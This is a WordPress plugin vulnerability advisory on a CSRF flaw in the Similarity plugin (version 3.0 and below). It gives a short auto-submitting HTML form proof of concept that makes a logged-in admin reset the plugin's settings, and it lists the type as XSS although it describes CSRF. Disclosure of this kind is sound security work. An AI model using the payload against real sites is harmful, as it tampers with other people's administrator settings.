WordPress Plugin Vulnerabilities

Similarity <= 3.0 - Plugin Reset via CSRF

Description

The plugin does not have CSRF check in place when resetting its settings, which could allow attackers to make a logged in admin reset them via a CSRF attack

Proof of Concept

Make a logged in admin open an HTML file containing:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=similarity%2Fsimilarity.php" method="post">
        <input type="hidden" name="restore_defaults" value="Restore Defaults" />
        <input type="submit" value="Submit" />
    </form>
</body>
```

Affects Plugins

No known fix

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Bob Matyas
Submitter
Bob Matyas
Submitter website
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Verified
Yes

Timeline

Publicly Published
2024-05-24 (about 1 months ago)
Added
2024-05-24 (about 1 months ago)
Last Updated
2024-05-24 (about 1 months ago)

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